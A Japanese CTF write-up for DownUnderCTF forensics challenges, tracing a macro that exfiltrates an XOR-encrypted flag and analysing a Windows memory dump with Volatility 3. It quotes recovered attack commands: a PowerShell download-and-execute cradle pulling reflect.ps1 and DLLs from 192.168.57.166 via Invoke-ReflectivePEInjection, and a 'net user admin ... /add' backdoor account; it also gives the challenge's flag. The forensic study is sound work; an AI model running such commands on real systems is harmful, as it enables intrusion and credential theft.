HTTP リクエストを見てみると、forensics と totalyFine 関数でハイフン区切りにされたバイト列を含むリクエストがいくつか送られています。

image-20240711071929428

ほとんどは Try Harder などの無意味な文字列ですが、1 つだけ暗号化処理が行われていそうなデータがあります。

image-20240711072224376

image-20240711072320426

パケットを時系列で並べると、最後から 2 番目のリクエストにこのバイト列が含まれています。

image-20240711072421273

これは、以下のコードで生成されている値であり、Flag を暗号化したものである可能性が高そうです。

ここでは、恐らくシートから取得した Flag を doThing 関数で何らかのキーと XOR 処理をしていそうです。

Q = "Flag: " & valueA1
***
W = S + G + D + F
O = doThing(Q, W)
***
Z = forensics(O)
***
T = totalyFine(Z)
MsgBox T
J = "http://downunderctf.com/" + T
superThing (J)

なお、ここで使用している XOR キー S + G + D + F は、特にひねりもなく平文で記述されているので、このまま Flag を取得することができました。

image-20240711204449070

Lost in Memory(Forensic)

Looks like one of our Emu soldiers ran something on an Outpost machine and now it’s doing strange things. We took a memory dump as a precaution. Can you tell us whats going on?

This challenge has four parts to combine into the final flag with _ between each answer. Find all four answers and combine them into the flag as all lower case like DUCTF{answer1_answer2_answer3_answer4} eg. DUCTF{malicious.xlsm_invoke-mimikatz_malware.exe-malware2.exe_strong-password123}

  1. What was the name of the malicious executable? eg malicious.xlsm
  2. What was the name of the powershell module used? eg invoke-mimikatz
  3. What were the names of the two files executed from the malicious executable (In alphabetical order with - in between and no spaces)? eg malware.exe-malware2.exe
  4. What was the password of the new account created through powershell? eg strong-password123

問題バイナリとしてメモリダンプが与えられます。

image-20240711211954638

このダンプを解析して 4 つのキーワードを見つけ出すことで Flag を取得できるようです。

Task 1

まず始めに、不審な実行ファイルを見つける必要があります。

とりあえず vol3 -f ./EMU-OUTPOST.raw windows.psscan でプロセスをスキャンします。

プロセススキャンでは怪しい点は見つかりませんでしたが、vol3 -f ./EMU-OUTPOST.raw windows.cmdline.CmdLine でコマンドラインを調べてみると、C:\Users\emu\Desktop\Monke\Monke.xlsmC:\Users\emu\Downloads\monkey.doc.ps1 などの怪しいファイルが見つかります。

image-20240711212240659

Task 2

次に、ロードされている不審な PowerShell モジュールを特定します。

とりあえず PowerShell のプロセスのダンプを取ってみます。

プロセスは以下の 3 つが存在しています。

image-20240711220253029

以下のコマンドでプロセスのダンプを取得します。

vol3 -o /tmp -f ./EMU-OUTPOST.raw windows.memmap --dump --pid 1136
vol3 -o /tmp -f ./EMU-OUTPOST.raw windows.memmap --dump --pid 3268
vol3 -o /tmp -f ./EMU-OUTPOST.raw windows.memmap --dump --pid 2520

このうちの PID 1136 のダンプを解析してみると、Start-Job -ScriptBlock {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/emu.dll};Start-Job -ScriptBlock {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/kiwi.dll} というコードが実行されていることを確認できます。

image-20240711220602875

Task 3

続いて、悪意のある実行ファイルから呼び出された 2 つのファイルを特定する必要があります。

これは正直 guess が必要ですが、上記 grep 結果に出力される emu.dll と monkey.dll、kiwi.dll などが回答になりそうです。

Task 4

最後に、作成されたアカウントのパスワードを特定する必要があります。

ここで完全に行き詰りましたが、Writeup を読むと PowerShell のプロセスダンプ内でさらに Power Shell コマンドを発行している箇所を探すことで難読化されたコードを取得できたようです。

image-20240712000616138

これを Cyber Chef で解析すると net user admin 5up3r-5ecur3 /add を実行していることがわかります。

image-20240712001107359

最終的な正しい Flag は DUCTF{monkey.doc.ps1_invoke-reflectivepeinjection_emu.dll-kiwi.dll_5up3r-5ecur3} でした。

まとめ

簡単な問題解くのに時間かけすぎなので早解きも意識していきたい。